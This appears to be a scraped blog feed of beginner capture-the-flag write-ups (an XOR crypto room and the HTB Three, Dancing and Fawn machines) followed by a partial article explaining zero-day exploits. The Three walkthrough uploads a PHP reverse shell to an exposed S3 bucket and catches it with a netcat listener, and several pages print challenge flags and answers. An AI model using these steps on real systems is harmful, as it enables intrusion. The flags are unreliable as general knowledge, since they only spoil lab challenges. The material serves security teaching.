<p>Server prompt:</p>
<pre><code class="language-text">What is the encryption key?
</code></pre>
<p>Submit:</p>
<pre><code class="language-text">ZdnuL
</code></pre>
<hr />
<h3>Server Response</h3>
<pre><code class="language-text">Congrats! That is the correct key!
Here is flag 2: THM{BrUt3_ForC1nG_XOR_cAn_B3_FuN_nO?}
</code></pre>
<hr />
<h3>Flag 2 :</h3>
<pre><code class="language-text">THM{BrUt3_ForC1nG_XOR_cAn_B3_FuN_nO?}
</code></pre>
<hr />
<h2>Why This Attack Works</h2>
<p>This challenge is vulnerable because it combines several weak cryptographic design choices:</p>
<ul>
<li><p>Repeating-key XOR encryption</p>
</li>
<li><p>Predictable plaintext format</p>
</li>
<li><p>Short encryption key</p>
</li>
<li><p>No randomization or salting</p>
</li>
<li><p>Direct exposure of encrypted output</p>
</li>
</ul>
<p>Once even a small portion of plaintext becomes known, XOR relationships begin leaking key bytes rapidly.</p>
<p>This is why repeating-key XOR should never be used for secure encryption systems.</p>
<hr />
<h2>Lessons Learned</h2>
<p>Key concepts demonstrated in this room include:</p>
<ul>
<li><p>How XOR encryption works</p>
</li>
<li><p>Why repeating-key XOR is insecure</p>
</li>
<li><p>Known plaintext attack fundamentals</p>
</li>
<li><p>Recovering encryption keys from predictable data</p>
</li>
<li><p>Importance of randomness in cryptographic systems</p>
</li>
<li><p>Risks of custom cryptographic implementations</p>
</li>
</ul>
<hr />
<h2>Conclusion</h2>
<p>The W1seGuy room provides an excellent beginner-friendly introduction to cryptographic weaknesses caused by improper XOR implementations.</p>
<p>By exploiting predictable plaintext and repeating-key behavior, both encryption keys and hidden flags can be recovered efficiently.</p>
<p>This room is a strong practical example of why modern encryption standards exist and why custom cryptographic solutions often fail under analysis.</p>
<hr />
<h2>Tools Used</h2>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td>Python</td>
<td>XOR analysis and key recovery</td>
</tr>
<tr>
<td>Netcat</td>
<td>Connecting to the remote service</td>
</tr>
<tr>
<td>XOR Logic</td>
<td>Decrypting repeating-key ciphertext</td>
</tr>
</tbody></table>
<hr />
<p>Thanks for reading.</p>
]]></content:encoded></item><item><title><![CDATA[HTB Three Walkthrough [Tier 1]: Learning AWS S3 Enumeration and Bucket Exploitation]]></title><description><![CDATA[Initial Enumeration
We begin by scanning the target machine using Nmap to identify open ports and running services.
nmap -sV -sC 10.129.25.2

Output
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-]]></description><link>https://blog.sonajit.in/htb-three-tier-1-walkthrough</link><guid isPermaLink="true">https://blog.sonajit.in/htb-three-tier-1-walkthrough</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[htb]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[AWS]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[htb-labs]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Mon, 25 Aug 2025 17:53:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/d9bd6589-e016-43b3-9d0d-2bb6b13c6f91.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Initial Enumeration</h2>
<p>We begin by scanning the target machine using Nmap to identify open ports and running services.</p>
<pre><code class="language-bash">nmap -sV -sC 10.129.25.2
</code></pre>
<p>Output</p>
<pre><code class="language-bash">Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 03:50 EDT
Nmap scan report for 10.129.25.2
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Apache httpd 2.4.29
</code></pre>
<h3>Analysis</h3>
<p>Two ports are exposed:</p>
<ul>
<li><p><strong>22/tcp</strong> running SSH</p>
</li>
<li><p><strong>80/tcp</strong> running Apache HTTP Server</p>
</li>
</ul>
<p>Since HTTP is accessible, web enumeration becomes the primary attack surface.</p>
<hr />
<h2>Website Investigation</h2>
<p>Opening the website reveals a simple landing page. Checking the <strong>Contact</strong> section exposes an email address containing the domain:</p>
<pre><code class="language-text">thetoppers.htb
</code></pre>
<p>Since the domain does not resolve automatically, add it manually to <code>/etc/hosts</code>.</p>
<pre><code class="language-bash">sudo nano /etc/hosts
</code></pre>
<p>Add:</p>
<pre><code class="language-text">10.129.25.2 thetoppers.htb
</code></pre>
<p>This allows local hostname resolution.</p>
<hr />
<h2>Virtual Host Enumeration</h2>
<p>Subdomain enumeration is the next logical step.</p>
<p>We use FFUF to fuzz virtual hosts using the <code>Host</code> header.</p>
<pre><code class="language-bash">ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u "http://thetoppers.htb" \
-H "Host: FUZZ.thetoppers.htb" -fs 11952 -mc all
</code></pre>
<p>Output</p>
<pre><code class="language-bash">s3                      [Status: 404, Size: 21]
gc._msdcs               [Status: 400, Size: 306]
</code></pre>
<p>Another method using Gobuster confirms the result.</p>
<pre><code class="language-bash">gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://thetoppers.htb --append-domain
</code></pre>
<p>Output</p>
<pre><code class="language-bash">s3.thetoppers.htb Status: 404 [Size: 21]
gc._msdcs.thetoppers.htb Status: 400 [Size: 306]
</code></pre>
<p>The interesting subdomain discovered is:</p>
<pre><code class="language-text">s3.thetoppers.htb
</code></pre>
<hr />
<h2>Discovering Amazon S3</h2>
<p>Visiting the subdomain shows behavior consistent with an Amazon S3 bucket.</p>
<p>This indicates the target may be exposing cloud storage functionality.</p>
<p>To interact with the service, install AWS CLI.</p>
<pre><code class="language-bash">sudo apt install awscli
</code></pre>
<p>Configure AWS CLI:</p>
<pre><code class="language-bash">aws configure
</code></pre>
<hr />
<h2>Enumerating the S3 Bucket</h2>
<p>List available buckets using:</p>
<pre><code class="language-bash">aws s3 ls --endpoint-url http://s3.thetoppers.htb
</code></pre>
<p>Output</p>
<pre><code class="language-bash">2025-08-25 03:49:04 thetoppers.htb
</code></pre>
<p>A bucket named <code>thetoppers.htb</code> is exposed.</p>
<p>Now enumerate bucket contents.</p>
<pre><code class="language-bash">aws s3 ls --endpoint-url http://s3.thetoppers.htb s3://thetoppers.htb
</code></pre>
<p>Output</p>
<pre><code class="language-bash">PRE images/
2025-08-25 03:49:04          0 .htaccess
2025-08-25 03:49:04      11952 index.php
</code></pre>
<p>The presence of <code>index.php</code> confirms the server executes PHP code.</p>
<p>This is highly significant because it opens the possibility of remote code execution through file upload.</p>
<hr />
<h2>Gaining Remote Access</h2>
<p>We can exploit the exposed S3 bucket by uploading a PHP reverse shell.</p>
<p>Download the PHP reverse shell from:</p>
<pre><code class="language-text">https://github.com/pentestmonkey/php-reverse-shell
</code></pre>
<p>Save the file as:</p>
<pre><code class="language-text">shell.php
</code></pre>
<p>Before uploading, modify the IP address and listening port inside the reverse shell script.</p>
<hr />
<h2>Uploading the Reverse Shell</h2>
<p>Upload the payload to the S3 bucket.</p>
<pre><code class="language-bash">aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/
</code></pre>
<p>Output</p>
<pre><code class="language-bash">upload: ./shell.php to s3://thetoppers.htb/shell.php
</code></pre>
<p>Now start a Netcat listener.</p>
<pre><code class="language-bash">nc -lvnp 8080
</code></pre>
<p>Once the uploaded PHP file is accessed through the browser, a reverse shell connection is established.</p>
<h3>Listener Output</h3>
<pre><code class="language-bash">listening on [any] 8080 ...
connect to [10.10.14.122] from (UNKNOWN) [10.129.25.2] 33394
Linux three 4.15.0-189-generic x86_64
</code></pre>
<p>We now have remote shell access to the machine.</p>
<hr />
<h2>Capturing the Flag</h2>
<p>Search for the flag file.</p>
<pre><code class="language-bash">find / -name flag.txt 2&gt;/dev/null
</code></pre>
<p>Output</p>
<pre><code class="language-bash">/root/flag.txt
</code></pre>
<p>Display the flag contents.</p>
<pre><code class="language-bash">cat /root/flag.txt
</code></pre>
<h3>Root Flag :</h3>
<pre><code class="language-text">a980d99281a28d638ac68b9bf9453c2b
</code></pre>
<hr />
<h2>Conclusion :</h2>
<p>This machine demonstrates how dangerous exposed cloud storage can become when misconfigured.</p>
<p>Key concepts learned from this box:</p>
<ul>
<li><p>Web enumeration</p>
</li>
<li><p>Virtual host fuzzing</p>
</li>
<li><p>AWS S3 bucket enumeration</p>
</li>
<li><p>AWS CLI usage</p>
</li>
<li><p>PHP reverse shell exploitation</p>
</li>
<li><p>Remote command execution</p>
</li>
</ul>
<p>Three is an excellent beginner-friendly machine for understanding cloud-related attack surfaces in web applications.</p>
<hr />
<h2>Tools Used -</h2>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td>Nmap</td>
<td>Port scanning and service enumeration</td>
</tr>
<tr>
<td>FFUF</td>
<td>Virtual host fuzzing</td>
</tr>
<tr>
<td>Gobuster</td>
<td>Subdomain enumeration</td>
</tr>
<tr>
<td>AWS CLI</td>
<td>Interacting with S3 buckets</td>
</tr>
<tr>
<td>Netcat</td>
<td>Reverse shell listener</td>
</tr>
<tr>
<td>PHP Reverse Shell</td>
<td>Remote code execution payload</td>
</tr>
</tbody></table>
<hr />
]]></content:encoded></item><item><title><![CDATA[HTB Dancing Walkthrough [Tier 1]: SMB Enumeration]]></title><description><![CDATA[Hack The Box's Dancing machine is part of the Tier 1 Starting Point series and introduces one of the most common services encountered during internal network assessments: SMB (Server Message Block).
M]]></description><link>https://blog.sonajit.in/htb-dancing-walkthrough-tier-1</link><guid isPermaLink="true">https://blog.sonajit.in/htb-dancing-walkthrough-tier-1</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[htb]]></category><category><![CDATA[dancing-htb]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[SMB]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Sun, 24 Aug 2025 17:24:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/d369ef3a-d73f-48e1-8208-c0c3b4ebd214.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Hack The Box's</em> <em><strong>Dancing</strong></em> <em>machine is part of the Tier 1 Starting Point series and introduces one of the most common services encountered during internal network assessments:</em> <em><strong>SMB (Server Message Block)</strong></em><em>.</em></p>
<h2>Machine Overview</h2>
<table>
<thead>
<tr>
<th>Category</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Platform</td>
<td>Hack The Box</td>
</tr>
<tr>
<td>Machine</td>
<td>Dancing</td>
</tr>
<tr>
<td>Difficulty</td>
<td>Tier 1</td>
</tr>
<tr>
<td>Operating System</td>
<td>Windows</td>
</tr>
<tr>
<td>Primary Service</td>
<td>SMB</td>
</tr>
<tr>
<td>Skills Learned</td>
<td>SMB Enumeration, Share Discovery, Anonymous Access</td>
</tr>
</tbody></table>
<h2>Understanding SMB</h2>
<p>SMB (Server Message Block) is a network protocol used primarily by Windows systems for file and printer sharing.</p>
<p>Some key facts:</p>
<ul>
<li><p>Allows remote file access across a network</p>
</li>
<li><p>Commonly used in Windows environments</p>
</li>
<li><p>Supports authentication and access control</p>
</li>
<li><p>Frequently targeted during network enumeration</p>
</li>
</ul>
<p>Modern SMB communication typically runs over <strong>TCP port 445</strong>.</p>
<h2>Initial Enumeration</h2>
<p>The first step is identifying open ports and running services.</p>
<pre><code class="language-bash">nmap -sC -sV &lt;TARGET_IP&gt;
</code></pre>
<p>The scan reveals:</p>
<pre><code class="language-text">445/tcp open  microsoft-ds
</code></pre>
<p>From the scan results we can determine:</p>
<ul>
<li><p>Port <strong>445</strong> is open</p>
</li>
<li><p>Service detected: <strong>microsoft-ds</strong></p>
</li>
<li><p>Target operating system: <strong>Windows</strong></p>
</li>
</ul>
<h2>Question 1: What does SMB stand for?</h2>
<h3>Answer</h3>
<p><code>Server Message Block</code></p>
<p>SMB enables systems to share files, directories, and other resources across a network.</p>
<h2>Question 2: What port does SMB use?</h2>
<h3>Answer</h3>
<p><code>445</code></p>
<p>Although older implementations used NetBIOS over port 139, modern SMB operates directly over TCP port 445.</p>
<h2>Question 3: What service name appears on port 445?</h2>
<h3>Answer</h3>
<p><code>microsoft-ds</code></p>
<p>This service identifier is commonly associated with SMB services running on Windows hosts.</p>
<h2>Question 4: What operating system is running?</h2>
<h3>Answer</h3>
<p><code>Windows</code></p>
<p>Both SMB behavior and service detection indicate a Windows-based machine.</p>
<h2>Enumerating SMB Shares</h2>
<p>Next, enumerate available shares without credentials.</p>
<pre><code class="language-bash">smbclient -L //&lt;TARGET_IP&gt; -N
</code></pre>
<p>Example output:</p>
<pre><code class="language-text">Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
WorkShares      Disk
</code></pre>
<h3>Analysis</h3>
<p>Four shares are exposed:</p>
<table>
<thead>
<tr>
<th>Share</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td>ADMIN$</td>
<td>Administrative share</td>
</tr>
<tr>
<td>C$</td>
<td>Default system drive</td>
</tr>
<tr>
<td>IPC$</td>
<td>Inter-process communication</td>
</tr>
<tr>
<td>WorkShares</td>
<td>User-accessible file share</td>
</tr>
</tbody></table>
<h2>Question 5: How many shares are available?</h2>
<h3>Answer</h3>
<p><code>4</code></p>
<p>The enumeration output shows four available shares.</p>
<h2>Accessing the Shares</h2>
<p>Now test whether any share permits anonymous access.</p>
<p>Attempt to connect:</p>
<pre><code class="language-bash">smbclient //&lt;TARGET_IP&gt;/WorkShares -U anonymous
</code></pre>
<p>When prompted for a password, simply press <strong>Enter</strong>.</p>
<p>Connection succeeds.</p>
<h2>Question 6: Which share allows access with a blank password?</h2>
<h3>Answer</h3>
<p><code>WorkShares</code></p>
<p>This share can be accessed anonymously, making it the primary attack surface for the challenge.</p>
<h2>Working Inside the SMB Shell</h2>
<p>After connecting, you'll be dropped into the SMB interactive shell.</p>
<p>Useful commands:</p>
<pre><code class="language-bash">ls
cd &lt;directory&gt;
pwd
get &lt;filename&gt;
mget *
exit
</code></pre>
<h2>Question 7: Which command downloads files?</h2>
<h3>Answer</h3>
<p><code>get</code></p>
<p>Example:</p>
<pre><code class="language-bash">get flag.txt
</code></pre>
<p>To download multiple files:</p>
<pre><code class="language-bash">mget *
</code></pre>
<h2>Exploring WorkShares</h2>
<p>List the contents of the share:</p>
<pre><code class="language-bash">ls
</code></pre>
<p>Output:</p>
<pre><code class="language-text">Amy.J
James.P
</code></pre>
<p>The share contains directories belonging to two users.</p>
<p>Navigate into a directory:</p>
<pre><code class="language-bash">cd James.P
</code></pre>
<p>List files:</p>
<pre><code class="language-bash">ls
</code></pre>
<p>Continue exploring the available folders until a file containing the flag is discovered.</p>
<h2>Retrieving the Flag</h2>
<p>Once the flag file is located:</p>
<pre><code class="language-bash">get flag.txt
</code></pre>
<p>Exit the SMB shell:</p>
<pre><code class="language-bash">exit
</code></pre>
<p>Read the downloaded file:</p>
<pre><code class="language-bash">cat flag.txt
</code></pre>
<p>The contents reveal the challenge flag.</p>
<h2>Attack Path Summary</h2>
<p>The complete workflow was:</p>
<ol>
<li><p>Scan the target with Nmap</p>
</li>
<li><p>Identify SMB running on port 445</p>
</li>
<li><p>Enumerate available SMB shares</p>
</li>
<li><p>Discover the <code>WorkShares</code> share</p>
</li>
<li><p>Access the share anonymously</p>
</li>
<li><p>Browse user directories</p>
</li>
<li><p>Download files using <code>get</code></p>
</li>
<li><p>Retrieve and read the flag</p>
</li>
</ol>
<h2>Commands Used</h2>
<pre><code class="language-bash">nmap -sC -sV &lt;TARGET_IP&gt;

smbclient -L //&lt;TARGET_IP&gt; -N

smbclient //&lt;TARGET_IP&gt;/WorkShares -U anonymous

ls

cd &lt;directory&gt;

get &lt;filename&gt;

cat flag.txt
</code></pre>
<h2>Key Takeaways</h2>
<p>This machine demonstrates several important enumeration concepts:</p>
<ul>
<li><p>Open SMB services should always be investigated.</p>
</li>
<li><p>Anonymous SMB access can expose sensitive files.</p>
</li>
<li><p>Share enumeration is often enough to gain initial footholds in Windows environments.</p>
</li>
<li><p>Simple tools such as <code>smbclient</code> can reveal valuable information without requiring credentials.</p>
</li>
</ul>
<p>For beginners, <strong>Dancing</strong> provides an excellent introduction to SMB enumeration and Windows share discovery while reinforcing the importance of thorough reconnaissance.</p>
<h2>Conclusion</h2>
<p>The Dancing machine is a straightforward but valuable exercise for anyone beginning their Hack The Box journey. It teaches the fundamentals of SMB enumeration, anonymous share access, and file retrieval while emphasizing the importance of methodical reconnaissance.</p>
<p>By understanding how to identify accessible shares and navigate SMB resources, you'll build skills that frequently appear in real-world network assessments and more advanced CTF challenges.</p>
]]></content:encoded></item><item><title><![CDATA[HTB Fawn Walkthrough [Tier 0]: Learning FTP Enumeration and Anonymous Login]]></title><description><![CDATA[Introduction
Fawn is one of the introductory Hack The Box machines designed for beginners. It focuses on a commonly exposed service: FTP (File Transfer Protocol).
By completing this machine, you'll le]]></description><link>https://blog.sonajit.in/htb-fawn-walkthrough-tier-0</link><guid isPermaLink="true">https://blog.sonajit.in/htb-fawn-walkthrough-tier-0</guid><category><![CDATA[htb]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[Fawn htb]]></category><category><![CDATA[fawn-htb-walkthrough]]></category><category><![CDATA[ftp]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Thu, 21 Aug 2025 16:26:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/89c459b9-e2fd-4c52-a9c0-a89078b2fbd7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Fawn is one of the introductory Hack The Box machines designed for beginners. It focuses on a commonly exposed service: <strong>FTP (File Transfer Protocol)</strong>.</p>
<p>By completing this machine, you'll learn:</p>
<ul>
<li><p>Basic network reconnaissance</p>
</li>
<li><p>Service enumeration with Nmap</p>
</li>
<li><p>FTP fundamentals</p>
</li>
<li><p>Anonymous FTP authentication</p>
</li>
<li><p>Retrieving files from an FTP server</p>
</li>
</ul>
<p>Difficulty: <strong>Tier 0 (Beginner)</strong></p>
<hr />
<h2>Reconnaissance</h2>
<p>Before interacting with the target, I verified connectivity using ICMP.</p>
<pre><code class="language-bash">ping 10.129.211.204
</code></pre>
<p>This confirms that the target is reachable on the network.</p>
<p>Next, I performed service enumeration using Nmap.</p>
<pre><code class="language-bash">nmap -sC -sV 10.129.211.204
</code></pre>
<p>Output:</p>
<pre><code class="language-text">PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04 2021 flag.txt
Service Info: OS: Unix
</code></pre>
<p>The scan immediately reveals several important details:</p>
<ul>
<li><p>FTP is running on port 21</p>
</li>
<li><p>The service version is <strong>vsftpd 3.0.3</strong></p>
</li>
<li><p>Anonymous login is enabled</p>
</li>
<li><p>A file named <code>flag.txt</code> is accessible</p>
</li>
<li><p>The target is running a Unix-based operating system</p>
</li>
</ul>
<p>At this point, enumeration has already provided the path to the flag.</p>
<hr />
<h2>Understanding FTP</h2>
<p>FTP stands for <strong>File Transfer Protocol</strong>.</p>
<p>It is used to transfer files between systems across a network. One important characteristic of traditional FTP is that data and credentials are transmitted in plaintext.</p>
<p>Modern environments often prefer:</p>
<p><strong>SFTP (SSH File Transfer Protocol)</strong></p>
<p>because it encrypts communications using SSH.</p>
<hr />
<h2>Connecting to the FTP Service</h2>
<p>Since anonymous access is allowed, I connected using the FTP client.</p>
<pre><code class="language-bash">ftp 10.129.211.204
</code></pre>
<p>Login:</p>
<pre><code class="language-text">Name: anonymous
Password: anonymous
</code></pre>
<p>After successful authentication, the server responds with:</p>
<pre><code class="language-text">230 Login successful
</code></pre>
<p>Common FTP response codes include:</p>
<table>
<thead>
<tr>
<th>Code</th>
<th>Meaning</th>
</tr>
</thead>
<tbody><tr>
<td>220</td>
<td>Service ready</td>
</tr>
<tr>
<td>331</td>
<td>Username accepted, password required</td>
</tr>
<tr>
<td>230</td>
<td>Login successful</td>
</tr>
</tbody></table>
<hr />
<h2>Enumerating Available Files</h2>
<p>After logging in, I listed the contents of the FTP directory.</p>
<pre><code class="language-text">ftp&gt; ls
</code></pre>
<p>Output:</p>
<pre><code class="language-text">-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
</code></pre>
<p>The server exposes a single file named:</p>
<pre><code class="language-text">flag.txt
</code></pre>
<hr />
<h2>Downloading the Flag</h2>
<p>FTP uses the <code>get</code> command to download files.</p>
<pre><code class="language-text">ftp&gt; get flag.txt
</code></pre>
<p>The file is transferred to the local machine.</p>
<p>To verify the contents:</p>
<pre><code class="language-bash">cat flag.txt
</code></pre>
<p>Output:</p>
<pre><code class="language-text">035db21c881520061c53e0536e44f815
</code></pre>
<p>Machine completed.</p>
<hr />
<h2>Key Concepts Learned</h2>
<h3>FTP</h3>
<p>A protocol used for transferring files across a network.</p>
<h3>Port 21</h3>
<p>The default port used by FTP servers.</p>
<h3>Anonymous Login</h3>
<p>A feature that allows users to authenticate without a traditional account.</p>
<h3>Service Enumeration</h3>
<p>The process of identifying services, versions, and configurations running on a target.</p>
<h3>Nmap</h3>
<p>A network scanner used to discover services and gather information about systems.</p>
<hr />
<h2>Tools Used</h2>
<ul>
<li><p>Nmap</p>
</li>
<li><p>FTP Client</p>
</li>
<li><p>Ping</p>
</li>
</ul>
<hr />
<h2>Key Takeaways</h2>
<p>Completing Fawn reinforced several important fundamentals:</p>
<ul>
<li><p>Enumerate services before attempting exploitation.</p>
</li>
<li><p>Always check for anonymous FTP access.</p>
</li>
<li><p>Nmap scripting can reveal valuable information quickly.</p>
</li>
<li><p>Misconfigured file-sharing services can expose sensitive files.</p>
</li>
<li><p>Small findings during reconnaissance often lead directly to successful compromise.</p>
</li>
</ul>
<hr />
<h2>Final Thoughts</h2>
<p>Fawn is an excellent introduction to reconnaissance and service enumeration. While the machine is simple, it teaches an important lesson: thoroughly understanding exposed services can often be enough to achieve access without exploiting a vulnerability.</p>
]]></content:encoded></item><item><title><![CDATA[What Is a Zero-Day Exploit? Understanding One of Cybersecurity's Biggest Risks]]></title><description><![CDATA[Cybersecurity threats evolve constantly, but few are as feared as zero-day exploits.
Unlike common malware or phishing attacks, zero-days target vulnerabilities that are completely unknown to software]]></description><link>https://blog.sonajit.in/zero-day-exploits-explained</link><guid isPermaLink="true">https://blog.sonajit.in/zero-day-exploits-explained</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[zero_day_vulnerability]]></category><category><![CDATA[information security]]></category><category><![CDATA[#CyberThreats]]></category><category><![CDATA[Malware]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[ZeroDay]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[#securityresearch]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Wed, 20 Aug 2025 15:15:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/126d79d0-fd47-4f6d-a131-ab235bf2071d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cybersecurity threats evolve constantly, but few are as feared as <strong>zero-day exploits</strong>.</p>
<p>Unlike common malware or phishing attacks, zero-days target vulnerabilities that are completely unknown to software vendors and defenders. Because no patch exists when these vulnerabilities are discovered by attackers, organizations often have little warning before systems are compromised.</p>
<p>From nation-state espionage campaigns to large-scale corporate breaches, some of the most impactful cyberattacks in history have relied on zero-day vulnerabilities.</p>
<p>In this article, we'll explore what zero-day exploits are, why they are so dangerous, how attackers weaponize them, notable real-world examples, and the security measures organizations use to reduce their risk.</p>
<hr />
<h2>What Is a Zero-Day Exploit?</h2>
<p>To understand zero-day exploits, it helps to break the concept into three parts.</p>
<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Zero-Day Vulnerability</strong></td>
<td>A previously unknown software flaw that has not yet been patched by the vendor.</td>
</tr>
<tr>
<td><strong>Zero-Day Exploit</strong></td>
<td>The code, technique, or method used to abuse the vulnerability.</td>
</tr>
<tr>
<td><strong>Zero-Day Attack</strong></td>
<td>The real-world use of an exploit against a target.</td>
</tr>
</tbody></table>
<p>Think of it like discovering a hidden entrance to a secure building that nobody else knows exists.</p>
<p>The hidden entrance is the vulnerability.</p>
<p>The lock-picking technique is the exploit.</p>
<p>Using that technique to enter the building is the attack.</p>
<p>The term <strong>zero-day</strong> refers to the fact that defenders have had <strong>zero days</strong> to prepare a fix or deploy protections.</p>
<hr />
<h2>Why Are Zero-Day Exploits So Dangerous?</h2>
<p>Zero-day vulnerabilities represent one of the highest-risk categories of cyber threats.</p>
<h3>No Security Patch Exists</h3>
<p>Because the vulnerability is unknown, software vendors have not released a fix.</p>
<p>Traditional security practices such as updating software cannot protect users until the flaw becomes publicly known and a patch is developed.</p>
<hr />
<h3>High Success Rates</h3>
<p>Most security products rely on known attack signatures, behavior patterns, or previously identified vulnerabilities.</p>
<p>When attackers use a brand-new exploit, many security tools may fail to recognize the threat immediately.</p>
<p>This gives attackers a significant advantage during the early stages of an attack.</p>
<hr />
<h3>Massive Potential Impact</h3>
<p>Many zero-days affect widely used software and platforms.</p>
<p>Examples include:</p>
<ul>
<li><p>Microsoft Windows</p>
</li>
<li><p>Google Chrome</p>
</li>
<li><p>Apple iOS</p>
</li>
<li><p>Android</p>
</li>
<li><p>Microsoft Exchange</p>
</li>
<li><p>Enterprise VPN appliances</p>
</li>
<li><p>Cloud infrastructure software</p>
</li>
</ul>
<p>A single vulnerability in one of these products can expose millions of users worldwide.</p>
<hr />
<h3>Extremely Valuable</h3>
<p>Zero-day vulnerabilities are among the most valuable assets in the cyber ecosystem.</p>
<p>Security researchers may responsibly disclose vulnerabilities through bug bounty programs, while threat actors may attempt to sell exploits through underground markets.</p>
<p>Depending on the affected product and exploit reliability, some zero-days have reportedly been valued at hundreds of thousands or even millions of dollars.</p>
<hr />
<h2>How Zero-Day Exploits Are Discovered</h2>
<p>Zero-days can be discovered by various groups:</p>
<h3>Security Researchers</h3>
<p>Ethical researchers continuously analyze software for vulnerabilities and often report findings directly to vendors through responsible disclosure programs.</p>
<h3>Bug Bounty Hunters</h3>
<p>Organizations such as:</p>
<ul>
<li><p>Google</p>
</li>
<li><p>Microsoft</p>
</li>
<li><p>Apple</p>
</li>
<li><p>Meta</p>
</li>
</ul>
<p>offer bug bounty programs that reward researchers for responsibly reporting vulnerabilities.</p>
<p>Examples:</p>
<ul>
<li><p><a href="https://bughunters.google.com">https://bughunters.google.com</a></p>
</li>
<li><p><a href="https://www.microsoft.com/msrc/bounty">https://www.microsoft.com/msrc/bounty</a></p>
</li>
<li><p><a href="https://security.apple.com/bounty">https://security.apple.com/bounty</a></p>
</li>
<li><p><a href="https://www.facebook.com/whitehat">https://www.facebook.com/whitehat</a></p>
</li>
</ul>
<h3>Criminal Groups</h3>
<p>Cybercriminals actively search for exploitable flaws that can be used for ransomware, data theft, credential harvesting, or financial fraud.</p>
<h3>Nation-State Actors</h3>
<p>Government-backed groups frequently invest significant resources into discovering and developing sophisticated zero-day exploits for intelligence gathering and cyber operations.</p>
<hr />
<h2>The Lifecycle of a Zero-Day Exploit</h2>
<p>A zero-day attack usually follows a predictable lifecycle.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/935d8f65-b63f-4438-8c95-98777e0e488b.png" alt="Zero-day exploit lifecycle infographic" style="display:block;margin:0 auto" />

<h3>1. Discovery</h3>
<p>A hidden vulnerability is discovered by a researcher, attacker, or organization.</p>
<p>At this stage, nobody else may know the flaw exists.</p>
<hr />
<h3>2. Weaponization</h3>
<p>The vulnerability is transformed into a functioning exploit.</p>
<p>Attackers develop code capable of triggering the flaw and achieving their desired outcome, such as:</p>
<ul>
<li><p>Remote Code Execution (RCE)</p>
</li>
<li><p>Privilege Escalation</p>
</li>
<li><p>Information Disclosure</p>
</li>
<li><p>Authentication Bypass</p>
</li>
</ul>
<hr />
<h3>3. Delivery</h3>
<p>The exploit is delivered to the target through methods such as:</p>
<ul>
<li><p>Phishing emails</p>
</li>
<li><p>Malicious attachments</p>
</li>
<li><p>Compromised websites</p>
</li>
<li><p>Drive-by downloads</p>
</li>
<li><p>Supply chain attacks</p>
</li>
<li><p>Messaging applications</p>
</li>
</ul>
<hr />
<h3>4. Exploitation</h3>
<p>The vulnerability is successfully triggered.</p>
<p>Attackers may:</p>
<ul>
<li><p>Execute arbitrary code</p>
</li>
<li><p>Gain system access</p>
</li>
<li><p>Escalate privileges</p>
</li>
<li><p>Install malware</p>
</li>
<li><p>Move laterally through networks</p>
</li>
</ul>
<hr />
<h3>5. Detection</h3>
<p>Security teams, researchers, or affected users begin noticing unusual behavior.</p>
<p>Indicators may include:</p>
<ul>
<li><p>Unexpected crashes</p>
</li>
<li><p>Suspicious network traffic</p>
</li>
<li><p>Unauthorized account activity</p>
</li>
<li><p>Malware infections</p>
</li>
</ul>
<hr />
<h3>6. Disclosure and Patching</h3>
<p>The vendor investigates the issue and develops a security update.</p>
<p>Organizations then begin patching affected systems to eliminate the vulnerability.</p>
<hr />
<h2>Real-World Zero-Day Exploit Examples</h2>
<h3>Pegasus Spyware</h3>
<p>Between 2016 and 2021, the Pegasus spyware platform leveraged multiple iOS zero-day vulnerabilities.</p>
